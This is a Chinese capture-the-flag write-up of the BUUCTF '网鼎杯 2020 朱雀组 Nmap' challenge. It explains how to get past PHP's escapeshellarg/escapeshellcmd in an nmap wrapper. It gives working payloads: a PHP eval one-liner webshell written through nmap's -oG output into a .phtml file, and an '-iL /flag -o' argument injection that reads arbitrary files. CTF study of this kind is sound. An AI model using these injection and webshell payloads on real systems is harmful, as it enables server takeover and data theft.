[网鼎杯 2020 朱雀组]Nmap1

打开题目

在源代码中看到了提示

先随便输入127.0.0.1

那我们试试输入

127.0.0.1 | ls

可以看到 | 被转义符号\所转义

那我们输入 127.0.0.1 /| ls

得到三条反斜线

我们猜测,我们输入的东西是被escapeshellarg和escapeshellcmd处理过后的结果

我们输入的东西必须绕过这两个函数

1.直接放入payload

' <?php @eval($_POST["y"]);?> -oG hack.php '

可以看得出来对php字段有过滤

我们修改payload为' <?= @eval($_POST["y"]);?> -oG hack.phtml '

访问成功

蚁剑连接一下

在根目录下找到了flag

代码在linux下的运行结果

2.或者payload为

127.0.0.1' -iL /flag -o uuuu

我们访问一下uuuu' 文件

本来最开始我在idea运行的代码,感觉按照这个payload来应该是访问uuuu"

结果大佬告诉我linux下的php运行结果和window下的php运行结果不一样

这是linux下的运行结果

所以就应该是访问uuuu'

知识点:

1.转义字符

转义字符是指在ASCII码和Unicode等字符集中的无法被键盘录入的字符被当作特殊用途而需要转换回它原来的意义的字符。而转义字符转义是指字符已经被转换了意义

2.escapeshellcmd和escapeshellarg函数

escapeshellarg函数

在 Windows 上,escapeshellarg() 用空格替换了百分号、感叹号(延迟变量替换)和双引号并在字符串两边加上双引号。此外,每条连续的反斜线(\)都会被一个额外的反斜线所转义。也就是会把一些字符替换成空格。

escapeshellcmd函数

**反斜线(\)会在以下字符之前插入:&#;|*?~<>^()[]{}$\、\x0A 和 \xFF** 。 **' 和 " 仅在不配对儿的时候被转义**。在 Windows 平台上,所有这些字符以及 %! 字符前面都有一个插入符号(^`)。也就是会在这些字符前面插入 \ ,如果是在windows上就会插入^

实例:

详情见:

PHP: escapeshellcmd - Manual

nmap的一些命令

其中 target 是要扫描的目标主机或 IP 地址。这将在名为 output.txt 的文件中生成 grepable 格式的输出

  • nmap -iL target.txt

读取文件内容,以文件内容作为搜索目标,nmap 将读取 target.txt 文件中的每个目标,然后对每个目标执行扫描操作,并显示扫描结果。请确保 target.txt 文件的格式是每行一个目标主机或 IP 地址

如 nmap -iL target.txt -o result.txt

//扫描target.txt里面的内容并输出保存为result.txt

  • nmap -o系列

输出

-oN 标准输出

-oX XMl输出

-oS script jlddi3

-oG grepable

-oA 同时输出三种主要格式

-v 信息详细级别

-d 调试级别

--packet-trace 跟踪发送和接收的报文

--reason 显示端口处于特殊状态的原因

--open 仅显示开放的端口

关于一句话木马的小知识点

为什么<?php @eval(_POST["y"]); ?>可以替换成<?= @eval(_POST["y"]); ?>

主要是因为在php中,

<?=

?>

等价为

<?php echo

?>

总而言之就是,在 PHP 中,'<?= ?>' 是一种简短的标记,用于输出内容。它等效于 '<?php echo ?>' ,一句话木马就是php代码,需要去解析php,支持解析的文件有php3,php4,php5,phtml

知识点参考;

https://paper.seebug.org/164/

参考wp:

https://www.cnblogs.com/AikN/p/15727575.html

BUUCTF [网鼎杯 2020 朱雀组] Nmap_[网鼎杯 2020 朱雀组]nmap-CSDN博客

https://www.cnblogs.com/DenZi/articles/15343512.html

相关推荐
未来之窗软件服务2 小时前
操作系统应用(三十三)php版本选择系统—东方仙盟筑基期
开发语言·php·仙盟创梦ide·东方仙盟·服务器推荐
济南壹软网络科技有限公司3 小时前
挑战全球高并发:壹软科技2025新版盲盒源码的“国际合规与弹性架构”解析
数据库·php·uniapp·盲盒源码
林戈的IT生涯4 小时前
windows 安装 composer 报SSL错误的问题 以及windows11上CMD命令下中文总乱码的问题解决
php·idea·composer·error14090086·cmd中文乱码·ja-netfilter
Evan芙7 小时前
Ubuntu 24.04 双网卡 bond0 绑定
ubuntu·postgresql·php
飞梦工作室7 小时前
PHP 中 php://input 的全面使用指南
android·开发语言·php
2401_865854888 小时前
云服务器的IP是干嘛的?有什么作用?
服务器·tcp/ip·php
郑州光合科技余经理9 小时前
PHP技术栈:上门系统海外版开发与源码解析
java·开发语言·javascript·git·uni-app·php·uniapp
2501_9159214310 小时前
Fiddler抓包工具详解,HTTPHTTPS调试、代理配置与接口分析实战教程
服务器·ios·小程序·fiddler·uni-app·php·webview
高级盘丝洞10 小时前
如何通过Powerlink协议读取PLC数据
开发语言·数据库·php
JaguarJack11 小时前
FrankenPHP 是否是 PHP 的未来?
后端·php